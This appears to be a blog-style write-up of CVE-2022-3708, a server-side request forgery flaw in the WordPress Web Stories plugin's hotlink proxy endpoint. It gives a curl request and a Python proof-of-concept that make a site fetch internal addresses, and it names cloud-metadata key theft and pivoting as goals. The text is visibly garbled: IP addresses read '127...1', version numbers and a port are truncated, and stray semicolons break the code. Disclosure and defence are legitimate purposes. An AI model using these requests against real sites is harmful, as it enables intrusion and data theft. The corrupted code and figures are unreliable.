Summary:
The WordPress Web Stories plugin lets you easily create visually rich, mobile-focused stories for your site. But in versions up to and including 1.24., a critical Server-Side Request Forgery (SSRF) vulnerability (CVE-2022-3708) existed. This flaw could let authenticated users send custom web requests to internal or external services on behalf of the WordPress server—opening the door to sensitive data leaks, network pivoting, or even system compromise. Here’s a dive into the issue, with code samples and how the exploit works.
What is SSRF?
Server-Side Request Forgery (SSRF) lets an attacker force the server (here, your WordPress instance) to send HTTP requests to any target, potentially including internal services you thought were shielded from the outside world.
How Did CVE-2022-3708 Happen?
Web Stories plugin provides a REST API endpoint:
/wp-json/web-stories/v1/hotlink/proxy
This endpoint allowed fetching and displaying images from a given URL by supplying the url parameter. But until version 1.24., it didn’t properly validate where those URLs pointed—which is a big problem.
Any authenticated user (even at the lowest level) could send a POST request with their desired URL—internal or external. The server would fetch that resource for them, potentially bypassing typical network boundaries.
Vulnerable Parameter
- url parameter in /v1/hotlink/proxy
Here’s what a malicious POST request using curl might look like
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <JWT_TOKEN_OR_COOKIE>" \
-d '{"url": "http://localhost:808/internal-api"}'; \
https://victimsite.com/wp-json/web-stories/v1/hotlink/proxy
Replace <JWT_TOKEN_OR_COOKIE> with authentication credentials (a login is required!).
- The url parameter is where the attacker puts the resource they want the server to fetch. This could be http://localhost:3306 (MySQL), http://127...1/admin/config, etc.
Here’s a stripped-down Python script showing the vulnerability in action
import requests
URL = "https://victimsite.com/wp-json/web-stories/v1/hotlink/proxy"
HEADERS = {
"Authorization": "Bearer <JWT_TOKEN>",
"Content-Type": "application/json"
}
DATA = {
"url": "http://127...1:80/admin";
}
response = requests.post(URL, headers=HEADERS, json=DATA)
print(response.text)
Network Recon: Map services inside private subnets.
- Bypassing Firewalls: Exploit cloud metadata endpoints (e.g., AWS, Google Cloud), potentially stealing cloud keys.
- Pivoting: Depending on what the server can reach, attackers might further compromise internal infrastructure.
1. Attacker logs in as any WordPress user (even subscriber).
### 2. Crafts a request to /wp-json/web-stories/v1/hotlink/proxy with a malicious url—pointing to an internal resource.
3. Attacker receives contents, which may be sensitive, directly in the HTTP response.
Crucially:
Since authentication is required, this isn’t a drive-by vulnerability, but on WordPress sites with open registration or known users, this is highly exploitable.
Patching & Mitigation
- The issue was fixed in version 1.25., by implementing stricter URL validation.
References & Further Reading
- Original plugin changelog (GitHub)
- Wordfence vulnerability disclosure
- NVD CVE Entry
Conclusion
CVE-2022-3708 is a classic reminder that input validation matters—especially for anything that will be used in a server-side request. Even if an endpoint seems ‘innocent’ (like fetching an image for your web story), it’s vital to make sure requests can’t be hijacked for nefarious purposes.
Site owners:
Stay safe out there!
*This article is original and exclusive, focusing on straightforward language and practical details to help you understand and defend against this vulnerability.*
Timeline
Published on: 10/28/2022 19:15:00 UTC
Last modified on: 11/03/2022 14:28:00 UTC